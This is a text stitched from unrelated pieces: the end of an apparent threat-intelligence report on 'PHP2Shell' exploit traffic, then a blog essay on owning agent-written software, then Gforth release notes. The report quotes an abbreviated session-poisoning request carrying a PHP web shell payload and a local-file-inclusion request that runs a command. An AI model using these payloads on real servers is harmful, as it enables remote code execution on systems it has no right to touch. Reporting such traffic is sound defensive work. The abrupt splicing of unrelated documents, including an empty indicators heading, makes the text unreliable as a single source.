We also observed tools labeled as PHP2Shell exploits that did not actually attempt to exploit either vulnerability. The earliest such traffic, from 85.11.187[.]35, matched a Go port of “Chain A” from WoYinDao/CVE-2026-109618-CVSS-9.2-Critical.

The tool used a longstanding session-poisoning technique, attempting to write PHP code into a session file through the upload-progress feature. The request below is abbreviated:

POST /index.php HTTP/1.1

Host: <honeypot>
User-Agent: Go-http-client/1.1
Content-Type: multipart/form-data; boundary=----php2shell-golang
PHP_SESSION_UPLOAD_PROGRESS = <?php echo "PHP2SHELL_XBu4Je"; system($_GET["c"]); ?>
PHPSESSID                   = <attacker-chosen ID>
f (file)                    = "Z"

It then attempted to execute that code by including the session file:

GET /lfi_sink.php?c=id&f=/tmp/sess_SUjKIKy3Rr6QsaJ1Ik7Rme8h3n HTTP/1.1

Crucially, lfi_sink.php is a vulnerable endpoint supplied by the PoC’s lab environment. The tool assumes that this endpoint exists on the target; without it or an equivalent local file inclusion (LFI) vulnerability, the chain cannot execute code.

A padded variant triggered our memory-exhaustion detection, but we observed no successful code execution. Despite the PHP2Shell branding, this activity relied on an unrelated technique and a vulnerable application endpoint.

Conclusion

We have not yet observed successful end-to-end PHP2Shell exploitation in our own telemetry. However, Adel Karimi’s public report and supporting data provide the most robust public evidence we have seen to date, correlating exploit traffic, memory disclosure and subsequent code execution on his honeypots. Notably, those targets used a favorable single-worker Apache mod_php configuration, so the findings do not establish reliability across other deployments.

Our observations show that triggering memory exhaustion alone is not enough to complete the exploit chain. Differences in PHP builds, memory limits and worker behavior can prevent subsequent stages from working. The challenge for opportunistic attackers is turning currently available public PoCs into similarly reliable operational tooling or developing it on their own. In our view, PHP2Shell remains a risk in both the short and long term and applying the PHP security updates or remediating through other means therefore remains essential.

IOCs

CI was failing. This was unexpected. I have dialed in my agentic workflow to a point where I would be surprised if one of my agents committed a branch that had failing tests. Maybe it's a CI flake or environment issue? Wait, it's SonarQube complaining about App.tsx? Did we pull in a new suspicious dependency from npm or something? Nope. SonarQube is flagging this file for cyclomatic complexity. Haven't seen that one in a while.

Yep. App.tsx consists of about 30 lines of code, except 15 of those lines are actually entire components that Codex decided to write each on a single line. That itself would be ok, just run it through prettier and we're done. But that doesn't explain the cyclomatic complexity. Each of these was a fairly involved component with a good amount of display and business logic. Old self would have carefully refactored it and made sure the code was readable. On the other hand, Codex didn't care that entire components were on a single line, and more importantly, it didn't mind the complexity. It had been happily and reliably iterating on that file through several features.

The CI tool was flagging an issue, perhaps correct, perhaps incorrect. But this is a real system so I had to dive in. After formatting the files, I went through and inspected the components and logic. Did Codex go beyond what a typical dev might have in terms of covering edge cases and did it slightly over-engineer it? Yes, but it was all correct. No complaints from me. All of the complexity was warranted by the business requirements. So I told Codex to make SonarQube happy, which it did by refactoring and splitting things up into 10 files. CI passed; things shipped. Although this particular incident had a quick resolution, you can probably imagine how it could have gone much worse. This was, after all, code I had never seen before.

This is where our industry is headed: Owning a software system will depend a lot less on having written it (or similar systems) by hand; instead, what will become most important is knowing just enough to know when something is wrong, and being willing and able to dive as deep as needed, when needed.

Divebots and golden nuggets

Imagine that you're on a boat (you decide what type of boat you like) and your job is to collect little nuggets of gold from the bottom of the ocean. Up until very recently, if you wanted to get your bag of gold you would need to jump into the water, swim to the bottom, look around, and stuff your bag. Easy peasy if you're in clear, shallow waters, but you can imagine how quickly this can escalate into something much more difficult. So as the shallow water mines started drying up, you and fellow engineers built all sorts of machinery and tooling to extract gold from ever deeper and more dangerous waters. This worked well for the most part, you and your team would carefully assemble, maintain, rotate the machinery and would constantly dive to the seabed mining operation to keep it running. Every so often you'd hear about the collapse of some mining operations, sometimes due to the sheer underwater pressure, other times through accidents, or operator incompetence. The challenge is that this is a very geologically active world, so the seabed keeps changing with some mines drying up and new ones popping up in different places.

Good news though! The last few years have seen the development of ever more sophisticated divebots that can go down and build a mining operation on their own. You just tell them where to build and off they dive and only surface to give you updates and gold nuggets. Things are great, you can now relax on your boat while your divebots do their thing and all you have to worry about is how much gold you can stuff into your boat. This is the Optimists camp.

Until...

"Wait till your divebots go too deep and get lost". "Haha your divebots brought you stuff that looks like gold but is actually shiny octopus poop". As the divebots proliferate you see more and more horror stories. Divebots getting lost and forgetting what they are supposed to be building. Divebots building something so complex and grotesque that they have trouble maintaining it, only for it to be discarded by the next generation of divebots. All of the underwater mining operations went from being carefully designed and engineered cathedrals to more like haphazard mansions, with hidden passages and horrors lurking. The more detached from the operation you are, the more spectacular the failures. This is the Skeptics camp.

Here Be Monsters

The software engineering industry (and I suspect many other industries soon) is living through a version of the above scenario. You probably already know whether Skeptic or Optimist describes you better, even if you're still not sure which camp you want to commit to.

The traditional wisdom is that in order to develop and maintain a non-trivial system you need to have a proper working model of it. I think few people would argue with that. And in software engineering you would acquire that working model by working directly with the code. Years and decades of practice writing and reading code give you the knowledge and tools needed to understand the systems you're responsible for. Every production incident, every late-night debugging session, every successful release. All of these experiences give you the perspective needed to have ownership of a system. In the context of this post, ownership means you're the one who gets called when something breaks.

Agents (divebots) are turning all of that on its head. Divebots produce output much faster than anyone can absorb, and while in complex systems of the past you could assume that the code had at one point gone through the hands of a human, that is no longer true. It is now possible for experienced practitioners to manage fleets of divebots and create software at an unprecedented scale. These operators know the craft and bring their considerable experience to manage and architect large systems that would have taken teams to build in the past. But that exposes what's probably the biggest challenge facing our industry: how do we train the next generation of engineers?

At their extremes, the Optimists and the Skeptics have wildly different answers to this question. On the one hand you have reputable voices saying that the only way to maintain control of these systems is to read every line of code the divebots produce. Be able to code it by hand. Be able to explain what every piece of code does and how it fits into the context of the applications. In the other camp, you have equally reputable voices saying to not even bother looking at the code. Focus your energy on figuring out what to build and forget about how it is built. The models will handle it. I don't think either of these is right.

The fact is that the way that today's senior engineers learned, ie. through coding by hand, endless hours debugging, production incidents, etc. is not a path that is viable for juniors today. To be clear, it is not economically viable, meaning that it is highly unlikely that companies will be willing to sponsor juniors for years while they "learn to do it by hand". That's wishful thinking. An alternative that is often presented is the "make sure you understand every line your agent wrote" advice, or "pair with a senior", or "perform careful code reviews". Again, wishful thinking at all but perhaps a few shops. If you think that the industry at large will adopt these practices, I've got a bridge to sell you. Hit me up.

In order to figure out a viable path for achieving some measure of mastery, we have to look at what it means to own a non-trivial software system. If you think about your typical architect/lead/CTO and how they operate, it becomes clear that to be successful they need to have a model of the system in their head, a chart of the waters. The real question is at what level of granularity? Imagine a legacy 1-million line codebase, it was written and expanded over the years by a number of people. The CTO may have even written parts of it. Now imagine there is a production issue and you're the unlucky SRE trying to figure this out at 2AM while getting angry texts from people in different timezones. What chart of the system do you need? You need a high-level, far-away map of the entire system, and you need to know just enough to know where you need to dive in, where the monsters live, and you need to be able to jump into any unknown codebase, figure out what's happening, push a hotfix, and describe what happened clearly in your incident report.

Note that this is not detailed knowledge of the whole system. The only way we can manage complex systems is by building up abstractions. Each layer lets us build a bit more, but whatever map you have, it is important to remember that it is abstractions all the way down, and no one really understands all the layers. There is a big difference between "I wrote module X and know it inside out" and "I have an appropriate model of the system abstractions and can dive into any module and fix it when it breaks". Coding by hand gives us the former, but the owner of a system, the person who gets called, needs the latter.

So how does this picture get built? And how can someone be expected to dive into unknown waters and fix the mess the divebots made if they've never mined gold nuggets by hand?

Fundamentals, Breadth, and Just-in-Time Depth

Some of the most insidious failures in complex systems are quiet failures. The sort where things mostly work, but there is something off about the system. Maybe it's suddenly slower, or error rates went up, or it works perfectly most of the time but fails every 19th attempt. Not to the point where you're getting paged at 2AM but enough that you get a feeling that something is off. As an owner of a system you need to understand the failure modes of the system. As an industry we have the tools to teach folks how to detect and reason about these failures: fundamentals. And the good news is that we've been teaching them to unwitting CS majors for decades. I'm talking about data structures & algorithms, networking, concurrency, distributed systems, etc. It doesn't have to come from a formal education either, these are topics you can read about and learn on your own.

To paint a simple picture (if you're a senior engineer please bear with me here), imagine you send your divebot on a mission. You're in shallow waters and you send it 2m underwater to collect some gold nuggets. It comes back in 4s and all is good. Next, you send it down 4m. This time though it takes 16s. That's odd. The next mission is 16m down, and it takes 256s. You get the picture. Something is obviously off. In computer science this would be called quadratic complexity, and probably the best way to recognize it is to understand the theory and know that such a thing exists.

Which brings me to the next pillar of ownership: breadth. Most of the successful engineers and engineering leaders I have had the pleasure of working with were able to hold a discussion on almost any topic, whether technical or not. They may have been specialists in certain things, but what was most impressive was their ability to draw upon and weave together seemingly disparate concepts from different disciplines and use that knowledge to solve problems. This is the high-level map of the waters. This is what tells you certain seas are more dangerous than others. The breadth of knowledge is what enables you to say "let's dive here". And to be clear, I'm not talking about expert level knowledge in every domain imaginable, but just enough to know what to look up when something is off. The buoys that guide your ocean exploration.

Someone asked me "how do we teach breadth? a survey class on everything?" and I didn't have a good answer at the time. But after thinking about it some more it seems to me that this is not something you can teach. There is no "Everything 101" you can take. The most we can do is encourage folks to read/explore/be curious. Absorb as much information as you can. Remember the weird incidents, the "oh crap" moments, think about how they connect to your work. And as you gain more experience, make a conscious effort to connect your everyday experiences with your work. I've lost track of how many times that one bit of knowledge I learned while working on a random project years earlier swooped in to save the day. This experience and breadth compounds, but it has to be maintained.

The final pillar of ownership is what I call just-in-time depth. This is the ability and willingness to dive into any problem and figure it out. Even if you're in uncharted waters. Even if you have to get in the cage and swim with the sharks for a bit. Even if you have to gather your team, load up the big proper submarine and dive down past the giant squids to figure out what's wrong with the system. This is the willingness to learn whatever is required to get the job done. It is also the humility to know when a dive is beyond your capabilities and you need to look for help. Not every dive can be done solo; not every dive is worth doing.

Some months ago, while working on my agent orchestrator, I was running into stability issues and lifecycle bugs with my agents and subagents. I knew what I wanted them to do, but the divebots that built the thing had done so rather haphazardly and all of the bugs were coming home at once. As I sat staring at my screen watching my agents crash for the nth time in an hour, and after several failed attempts at having the divebots fix their own mess, I recalled having read a Kubernetes book years earlier (yes I'm a nerd) and the words "level-triggered state machine" were suddenly staring me in the face. So I took a dive, deeper than I originally intended, even as far as the electrical engineering origins of "level-triggered". I brought my divebots along for the ride and re-designed the core architecture from the ground up. It has been rock solid since. This successful rewrite was mainly possible because I happened to remember something I had read years earlier, and was willing to dive in and learn whatever was needed to get the job done.

So you start with a high-level map of the ocean (system), and understand that it is layers of abstraction all the way to the bottom. And since all of those abstractions leak, your job as system owner is to know where to dive and how deep. It is no longer generalist vs specialist, or even the mythical T-shaped folks.

The new way of building things requires a generalist who can dive deep into the unknown, a "quick learner under pressure" and not in the resume-padded way. You will actually need to be able to learn quickly while fighting with sea monsters. I've interviewed many people over the years and when people put "quick learner" in their resume I like to ask them to tell me about a time they had to learn a complex system quickly, how did they do it? What would your answer be?

Owners of the Future

So fundamentals can be learned and breadth is gathered. Just-in-time depth, however, can be practiced. These three pillars are what enable someone to grow their ownership share in a system. Maybe you start in shallow waters, send your divebots down. You have solid fundamentals, decent breadth, so go build something. Just be ready to put on the suit and swim with the monsters when something breaks.

Who will be responsible for the sprawling underwater mining operations in the future? No one knows, but I would bet that it will be those individuals who are able to wield the three pillars above. It will be the kid who took an old radio apart and fixed it, without knowing the first thing about radios, just a desire to listen to music - even if they did end up with a couple of extra screws after putting everything back together.

Many of the words below are just mentioned, without much indication what they do. You can find out more by klicking on the word in the Web version of this document, by typing "help " in Gforth, or by clicking on the word in the word index.

This text mentions words that appear the first time in the documentation; some have been available earlier, but were not documented.

Stability

It is now documented which words are intended to be permanently supported, and which are not; see Stability Goals.

Headline features

• The text interpreter can recognize more things:

  • Additional ways to write literals in source code: scaled notation for FP numbers (6k5, 23%); strings ("string"), xts ( `word), nts ( ``word), body addresses (<word> <word+8>). See Literals in source code;
  • You can specify the vocabulary (or several) of a word, e.g., forth:and vs. assembler:and.
  • Nonparsing syntax for dealing with value-flavoured and defer-flavoured words (v and d in the following examples): ->v for to v; +>v for +to v; 'v for addr v; @>d for action-of d; =>d for is d. See rec-to.
  • Contents of environment variables: ${LANG}
  • You can extend the text interpreter with more recognizers: recs rec-name rec-local rec-scope rec-number .-is-dcell? rec-float rec-complex rec-string rec-to rec-dtick rec-tick rec-body rec-env rec-meta rec-forth rec-sequence: get-recs set-recs rec-none translate-name translate-cell translate-dcell translate-float translate-complex translate-string scan-translate-string translate-env translate-to rec-filter rec-forth-nt? translate: interpreting compiling postponing ?rec-found

• IDE features:

  • Show source code of a word (locate browse).
  • show uses of a word (where nw bw ww).
  • backtraces show source locations and can be browsed (nt bt tt);
  • and use an editor if desired (edit g gg whereg);
  • other words: fancy-after-l xt-locate l n b before-locate after-locate ll short-where expand-where prepend-where unused-words

• "Smart .s: ... guesses what stack items mean and displays them appropriately. .s itself stays dumb.

• A status line at the bottom of the terminal shows BASE, stacks, and search order. -status +status

• Multi-Tasking on multiple cores or hardware threads: newtask task newtask4 stacksize stacksize4 initiate execute-task kill-task kill stop stop-ns stop-dns thread-deadline halt sleep wake restart pause auser uallot up@ user' 's mutex lock unlock critical-section atomic!@ atomic+!@ atomic?!@ barrier

  Message queues (similar to the actor model) provide a way to combine communication with synchronization of the tasks: send-event ?events event-loop

  Cilk is useful for distributing work across tasks: cores cilk-init spawn spawn1 spawn2 cilk-sync cilk-bye

• C interface enhancements, includig callbacks: c-value c-variable c-funptr c++-library-name c++-library add-libpath add-framework add-incdir add-cflags add-ldflags c-callback c-callback-thread callback#

• The dictionary can now have more than one section, each with its own dictionary pointer, which allows allocation without affecting other sections, used, e.g., for nested definitions. See Sections. Words: next-section previous-section extra-section .sections

• Postpone multiple words with ]]...[[.

• Value-flavoured and defer-flavoured fields: value: cvalue: wvalue: lvalue: scvalue: swvalue: slvalue: 2value: fvalue: sfvalue: dfvalue: zvalue: $value: value[]: $value[]: defer:

• Per-task values and defers: uvalue udefer

• Closures: Execution tokens for code with data: free-closure [n:l [d:l [f:l [n:d [d:d [f:d [n:h [d:h [f:h [n:h1 [d:h1 [f:h1 [{: :}l :}d :}h :}h1 :}xt >addr <{: ;>

• New word header layout, and based on that:

  • Modify the behaviour of words: set-does> set-compsem set->int set->comp set-name>string set-name>link; using a code addres instead of an xt: set-execute; new code addresses for that: dovalue: dodoes: doabicode:
  • User-defined to etc.: to-table: n/a to-class: >uvalue set-to
  • Modify the implementation of words: set-optimizer
  • For fans of non-postfix syntax: compsem: intsem: opt:
  • Creating a word from a template: create-from reveal reveal! noname-from
  • Apply set-does> etc. to a word defined earlier: make-latest
  • Introspection: .hm immediate?

• Performance comparable to SwiftForth

  • IP-update optimization speeds up loop-dominated programs by a factor of 2
  • Literal stack allows constant folding and other optimizations

No longer documented words

Many of these words are still in Gforth 1.0, but they may be removed in the future.

• .name (use id.);
• does-handler! (implementation changed, use set-does>);
• /does-handler (implementation changed, see Carnal words);
• @local# f@local# laddr# lp+!# (replaced by @localn f@localn lp+n lp+!);
• clear-libs (interface changed, use c-library ... end-c-library)
• <interpretation interpretation> <compilation compilation> create-interpret/compile (replaced by set->int set-compsem)
• naligned (use *aligned)
• name>comp name>int (use name>compile name>interpret)
• path-allot (use dup , 0 , allot)
• sl@ sw@ ul@ uw@ (use l@ l>s; w@ w>s; l@; w@).
• Internal and therefore no longer documented: ;s block-position cfalign cfaligned compile-lp+! empty-buffer name?int s>number? s>unumber? save-buffer

Other additional features

• You can use the return stack interpretively (except for passing data into or out of INCLUDED, EVALUATE etc.)

• help shows the documentation of words, or documentation nodes. Other words providing information: authors license.

• Boolean flags: select

• Arithmetic words:

  • Single precision: umin umax
  • Explicitly floored, symmetric, or unsigned division words: /s /f u/ mods modf umod /mods /modf u/mod du/mod */s */f u*/ */mods */modf u*/mod ud/mod
  • Two-stage division: staged/-size /f-stage1m /f-stage2m modf-stage2m /modf-stage2m u/-stage1m u/-stage2m umod-stage2m u/mod-stage2m staged/-divisor
  • Bitwise operations: mux arshift dlshift drshift darshift >pow2 log2 pow2? ctz wrol wror lrol lror rol ror drol dror
  • Pseudo-random numbers: rnd random seed!
  • Floating-point: f*+ s>f f>s fcopysign ftrunc v* faxpy infinity inf -infinity -inf nan

• Stack Manipulation:

  • Data stack: third fourth
  • FP stack: fthird ffourth f-rot
  • Return stack: r'@ rpick n>r nr> f>r fr> fr@

• Dictionary allocation: ->here w, l, x, xd, a, mem, save-mem-dict

• Heap allocation: save-mem extend-mem free-mem-var. Growable buffers: buffer% init-buffer adjust-buffer.

• Memory access:

  • Generic: *aligned *align
  • Cells: !@ +!@ cell- cell/ th th@ th!
  • Words for accessing memory in 16-bit (w), 32-bit (l), and 64-bit (x, xd) units: w@ w! l@ l! x@ x! xd@ xd!
  • for dealing with different byte orders: wbe wle lbe lle xbe xle xdbe xdle
  • for sign-extending: c>s w>s l>s x>s xd>s
  • for allocating: w, l, x, xd,
  • for sizes: /x
  • for alignment: waligned walign laligned lalign xaligned xalign
  • for other sizes: char- float/ sfloat/ dfloat/

• Xchars: xc@ xc@+? xc!+ xc-width xhold xc, invalid-char

• String and character constants: newline #tab #lf #cr #ff #bs #del #bell #esc #eof

• Strings: string-suffix? scan scan-back skip $split nosplit? safe/string insert delete cstring>sstring capscompare capsstring-prefix? capssearch s+ append

• Redirect printing words to a string: >string-execute $tmp

• trings(Stringrepresentationwithautomaticmemorymanagement):‘trings (String representation with automatic memory management): `! $@ $@len $!len $+!len $del $ins +!c+! c+! $free $init $iter $over $exec $. $slurp $slurp-file $+slurp $+slurp-file $variable`

• tringarrays:‘tring arrays: `[] $[]! $[]+! $+[]! $[]@ $[]# $[]map $[]slurp $[]slurp-file $[]. $[]free $[]variable`

• Internationalization and localization: l" locales native@ locale@ program default locale-csv-out locale-csv .locale-csv locale! locale:

• Substitution in strings: macros-wordlist replaces replacer: .substitute $substitute substitute unescape $unescape

• Counted strings: place string,

• Control flow

  • Counted loops: -[do u-[do array>mem mem+do mem-do i' delta-i
  • Generalize Eaker's case to loops: next-case ?of contof
  • Low-level control flow words: cs-drop
  • Exits: ?exit execute-exit
  • Exceptions and warnings: fast-throw exceptions ?errno-throw ?ior catch-nobt warning" warnings

• Defining words: avariable buffer: aconstant

  • Forward declarations: forward .unresolved
  • Values: avalue 2value fvalue +to addressable: addr.
  • Inline definitions: inline: ;inline
  • Quotations: [: ;]
  • Deferred words: :is preserve wrap-xt
  • Structures: wfield: lfield: xfield: extend-structure
  • User-defined stacks: stack stack: stack> >stack >back back> +after -stack set-stack get-stack

• No-ops: [noop] noop

• Name tokens: find-name-in latestnt xt>name traverse-wordlist name>interpret name>compile compile-only? obsolete? name>link

• Literal compilers: lit, aliteral 2lit, flit, slit,

• Word definition and text-interpreter status: in-colon-def? state

• Conditional and looping compilation: [DEFINED] [UNDEFINED] [I] INT-[I]

• Text interpreter hooks: before-line before-word line-end-hook

• Input stream: string-parse

• Wordlists: in-wordlist in cs-wordlist cs-vocabulary .voc wordlist-words mwords map-vocs

• String to number conversion: >float1 holds

• Environmental queries: max-xchar xchar-maxmem os-type

• File inclusion: \\\ .included

• General file handling: +fmode file-eof?

• Redirection: outfile-id infile-id

• Directories: basename dirname open-dir read-dir close-dir filename-match get-dir set-dir =mkdir mkdir-parents

• Search paths: absolute-file? .fpath file>fpath file>path

• Simple numeric output: h. dec.r

• Floating-point output: fp. e. e.p e.exact

• Terminal output, in particular colors: at-deltaxy default-color error-color error-hl-inv error-hl-ul warning-color info-color success-color input-color status-color compile-color postpone-color light-mode dark-mode uncolored-mode magenta-input default-input

• Single-key input: key-ior xkey? ekey>xchar k-enter k-backspace k-tab k-winch k-pause k-mute k-volup k-voldown k-sel k-eof fkey. simple-fkey-string

• CSV input: read-csv csv-separator csv-quote .quoted-csv

• Locals: {: | :} z: z^ xt: @localn f@localn !localn lp+n lp+!

• Mini-OOF2 (a little larger than Mini-OOF, but much smaller than the others; Gforth-specific): >o o> rec-moof2 :method

• Regular Expressions: (( )) charclass +char -char ..char +chars +class -class c? -c? \d \s .? -\d -\s \^ \$ str=? =" {** **} {++ ++} {* *} {+ +} // {{ || }} \( \) \0 s>> >> << <<" s// //s //o //g FORK JOIN ` `? -`

• Examining compiled code: xt-simple-see xt-see-code

• Debugging words: debug-fid once ~~bt ~~1bt ??? WTF?? !!FiXME!! replace-word ~~Variable ~~Value +ltrace -ltrace #loc

• Code Coverage and Execution Frequency: .coverage annotate-cov bw-cover color-cover save-cov load-cov nocov[ ]nocov cov+ ?cov+ cov% .cover-raw .cover-raw

• Definitions in assembly language: abi-code ;abi-code

• Disassembler: disasm2 intel-syntax at&t-syntax disasm disasm-gdb

• Keeping track of Time: ns >time&date&tz ntime

• Image saving and startup: 'image process-option

• MINOS2: actor widget caller-w active-w act-name$ clicked scrolled touchdown touchup ukeyed ekeyed ?inside focus defocus entered left show hide get set show-you parent-w act name$ x y w h d gap baseline kerning raise border borderv bordert borderl w-color draw-init draw split lastfit hglue dglue vglue hglue@ dglue@ vglue@ xywh xywhd !resize !size dispose-widget .widget par-split resized >animate color: new-color: text-color: text-emoji-color: fade-color: text-emoji-fade-color: re-color re-text-color re-emoji-color re-fade-color re-text-emoji-fade-color vp-top vp-bottom vp-left vp-right vp-reslide vp-needed

• Other words: f.s-precision fclearstack sh-get synonym out

Gforth EC non-news

We have not done Gforth EC work since Gforth 0.7. We recommend using Gforth 0.7 for Gforth EC, but welcome bug or success reports for Gforth EC in our git head.

User-visible changes between 0.6.2 and 0.7.0:

Requirements:
  At run-time requires libtool and gcc (for the libcc C interface) and
                       gdb (for the disassembler (SEE)) on some platforms.
Installation:
  support for DESTDIR, POST_INSTALL, INSTALL_SCRIPT
  automatic performance tuning on building (--enable-force-reg unnecessary)
  report performance and functionality problems at end of "make"
  autogen.sh now exists
License:
  Changed to GPLv3
Bug fixes
  Now works with address-space randomization.
  The single-step debugger works again in some engines.
  Many others.
Ports:
  AMD64, ARM, IA-64 (Itanium): better performance
  PPC, PPC64: disassembler and assembler
  Gforth EC: R8C, 4stack, misc, 8086 work
  MacOS X: better support
Invocation:
  New flags --ignore-async-signals, --vm-commit (default overcommit)
            --print-sequences
Forth 200x:
  X:extension-query: produce true for all implemented extensions
  X:required REQUIRED etc. (not new)
  X:defined: [DEFINED] and [UNDEFINED]
  X:parse-name: PARSE-NAME (new name)
  X:deferred: deferred words (new: DEFER@ DEFER! ACTION-OF)
  X:structures: +FIELD FIELD: FFIELD: CFIELD: etc.
  X:ekeys: new: EKEY>FKEY K-SHIFT-MASK K-CTRL-MASK K-ALT-MASK K-F1...K-F12
  X:fp-stack (not new)
  X:number-prefixes (partially new, see below)
Number prefixes:
  0x is a hex prefix: 0xff and 0XfF now produces (decimal) 255
  # is a decimal prefix: #10 now produces (decimal) 10
  Signs after the number prefix are now accepted, e.g, #-50.
  ' now only handles a single (x)char: 'ab is no longer accepted, 
                                       'a' now produces (decimal) 97
Unicode support (currently supports only uniform encoding):
  added xchars words for dealing with variable-width multi-byte characters
  provide 8bit (ISO Latin 1) and UTF-8 support for xchars
New words:
  \C C-FUNCTION C-LIBRARY END-C-LIBRARY C-LIBRARY-NAME (libcc C interface)
  LIB-ERROR (complements OPEN-LIB)
  OUTFILE-EXECUTE INFILE-EXECUTE BASE-EXECUTE (limited change of global state)
  16-bit and 32-bit memory acces: UW@ UL@ SW@ SL@ W! L! W@ L@ /W /L
  NEXT-ARG SHIFT-ARGS (OS command-line argument processing)
  NOTHROW (for backtrace control)
  FTRUNC FMOD (undocumented)
  SEE-CODE SEE-CODE-RANGE (show generated dynamic native code)
Improvements/changes of existing words:
  S\", ." now support \l, \m, \z, and limits hex and octal character specs.
  OPEN-FILE with W/O no longer creates or truncates files (no compat. file)
  OPEN-LIB now understands ~ at the start, like OPEN-FILE.
  TRY...ENDTRY changed significantly, compatibility files available (see docs).
  The disassembler (DISCODE) can now use gdb to disassemble code
  Uninitialized defered words now give a warning when executed
  Division is floored (disable with "configure --enable-force-cdiv")
  Gforth (not gforth-fast) reports division by zero and overflow on division
    on all platforms.
Newly documented words:
  S>NUMBER? S>UNUMBER?
  EKEY keypress names: K-LEFT  K-RIGHT K-UP K-DOWN K-HOME K-END K-PRIOR
    K-NEXT K-INSERT K-DELETE
  CLEARSTACKS
  FORM
Environment variable GFORTHSYSTEMPREFIX (used by word SYSTEM and friends)
C interface:
  exported symbols now start with "gforth_" (for referencing them from C code)
  libcc C function call interface (requires libtool and gcc at run-time)
    alternative: undocumented libffi-based interface
Libraries:
  depth-changes.fs: report stack depth changes during interpretation
  ans-report.fs now reports CfV extensions
  fsl-util.4th: FSL support files (undocumented)
  regexp.fs for regular expressions (undocumented)
  complex.fs for complex numbers (undocumented)
  fft.fs for Fast Fourier Transform (undocumented)
  wf.fs, a Wiki implementation (undocumented)
  httpd.fs, a web server (undocumented)
  status.fs, show interpreter status in separate xterm (undocumented)
  profile.fs for profiling (undocumented, incomplete)
  endtry-iferror.fs, recover-endtry.fs to ease the TRY change transition
  test/tester.fs: Now works with FP numbers (undocumented)
  test/ttester.fs: Version of tester.fs with improved interface (T{...}T).
 compat library:
  compat/execute-parsing.fs
Speed improvements:
  automatic performance tuning on building
  static stack caching (good speedup on PPC)
  mixed-precision division is now faster
  support for int128 types on AMD64
  workarounds for gcc performance bugs (in particular, PR 15242)
  branch target alignment (good speedup on Alpha).

User-visible changes between 0.6.1 and 0.6.2:

Bug fixes (in particular, gforth-0.6.2 compiles with gcc-3.3)
New words: LATEST, LATESTXT (LASTXT deprecated)
Operating environment: Added optional support for a C interface built
  on the ffcall libraries (more portable and powerful than the old
  one, but still not documented).  To use it, the ffcall libraries
  have to be installed before building Gforth (see INSTALL).
Miscellaneous: Gforth-fast now uses static superinstructions (some
  speedup on some platforms); generally this is transparent (apart
  from the speedup), but there are lots of command-line options for
  controlling the static superinstruction generation.

User-visible changes between 0.6.0 and 0.6.1:

Bug fixes (installation on big-endian machines sometimes did not work)

User-visible changes between 0.5.0 and 0.6.0:

Changes in behaviour:

S": interpreted use now ALLOCATEs the string (they live until BYE).
Long word names (512MB on 32-bit systems) are now supported (change to
  the header format).
New threaded code execution method: primitive-centric (allows the
  following), hybrid direct/indirect threaded (easier portability),
  with dynamic superinstructions (typical speedup on Athlon: factor
  2).  New engine gforth-itc for dealing with some potential
  backwards-compatibility problems (see "Direct or Indirect Threaded?"
  in the manual).

Operating environment:

Default dictionary size is now 4MB.
Large file support on OSs that support them (i.e., files with more
  than 2GB on 32-bit machines).
Gforth can now deal well with broken pipes in most situations.
vi tags files can be built with tags.fs (usage like etags.fs).
gforth.el mostly rewritten.
New image file format.

New words:

Keyboard input: EDIT-LINE K-PRIOR K-NEXT K-DELETE
File input: SLURP-FILE SLURP-FID 
Programming tools: ID. .ID WORDLIST-WORDS SIMPLE-SEE
Conditional execution: [DEFINED] [UNDEFINED]
Defining Words: CONST-DOES> ]]
Input stream: PARSE-WORD EXECUTE-PARSING EXECUTE-PARSING-FILE
String comparison: STR= STR< STRING-PREFIX?
String literals: S\" ." \"-PARSE
Floating point output: F.RDP F>STR-RDP F>BUF-RDP

Miscellaneous:

Generalized prims2x.fs into Vmgen (see README.vmgen etc.); used the
  new capabilities in prims (e.g., automatic handling of the return
  stack and instruction stream).

User-visible changes between 0.4.0 and 0.5.0:

Changes in behaviour:

There are now two engines: the fast engine (gforth-fast) is at least
  as fast as gforth in earlier releases; the debugging engine (gforth)
  supports precise backtracing for signals (e.g., illegal memory
  access), but is slower by a factor of 1-2.
Block files now start at block 0 by default (instead of block 1).  If
  you have block files around, prepend 1024 bytes to convert them, or
  do a "1 OFFSET !" to establish the old behaviour.
Gforth now does not translate newlines to LFs on reading.  Instead,
  READ-LINE now interprets LF, CR, and CRLF as newlines.  Newlines on
  output are in the OSs favourite format.
SEE now disassembles primitives (or hex-DUMPs the code if no
  disassembler is available).
>HEAD (aka >NAME) now returns 0 (instead of the nt of ???) on failure.
Syntax of prim changed: stack effects are now surrounded by
  parentheses, tabs are insignificant.

Operating environment:

Gforth now produces a backtrace when catching an exception.
On platforms supporting the Unix 98 SA_SIGINFO semantics, you get more
  precise error reports for SIGSEGV and SIGFPE (e.g., "stack
  underflow" instead of "Invalid memory address").
Gforth now produces exit code 1 if there is an error (i.e., an
  uncaught THROW) in batch processing.
You can use "gforthmi --application ..." to build an image that
  processes the whole command-line when invoked directly (instead of
  through gforth -i).

Ports:

AIX.
20% speedup on 604e under powerpc-unknown-linux-gnu,
19%-29% speedup on Celeron with gcc-2.95.

New words:

Missing ANS Forth words: EKEY EKEY? EKEY>CHAR
Timing words: CPUTIME UTIME
Vector arithmetic: V* FAXPY
FP comparison: F~ABS F~REL
Deferred words: <IS> [IS]
Nested number output: <<# #>>
Exception handling: TRY RECOVER ENDTRY
Directory handling: OPEN-DIR READ-DIR CLOSE-DIR FILENAME-MATCH
Other: ]L PUSH-ORDER

Miscellaneous:

Significant extensions to the manual (added an introduction, among
  other things), many of them due to a new team member: Neal Crook.
Added assemblers and disassemblers for 386, Alpha, MIPS (thanks to
  contributions by Andrew McKewan, Bernd Thallner, and Christian
  Pirker).  Contributions of assemblers and disassemblers for other
  architectures are welcome.

User-visible changes between 0.3.0 and 0.4.0:

Operating environment:

Path handling: "." at the start of the path represents the directory
  the nearest enclosing file resides in (if there is none: the working
  directory). "~+" indicates the working directory.  The default path
  now has "." in front.
gforth and gforthmi is now more GNU standards compliant (wrt
  command-line options).
New command-line-option: --die-on-signal
Errors are now directed to stderr.
Stdout is now unbuffered, if it is a tty.
User input device redirection (for filters) is now possible.

Ports:

Now runs on IRIX (and other MIPS-based systems without linker-flag -d).
Direct threading now works on PowerPC (20% speedup on 604e).
Better support for m68k (thanks to Andreas Schwab and Jorge Acereda).
It is possible to create executables that contain the image (for
  non-OS systems).

Added a lot of embedded control (EC) stuff. Supported controllers and
small CPUs are Siemens C16x, 8086, 6502, Mixed-Mode's FPGA MISC, Bernd Paysan's
4stack processor. Not finished: ShBoom alias PSC1000, H8, AVR.

New, changed, and removed words:

Renamed F0 to FP0 (avoids unexpected behaviour in hex), added aliases
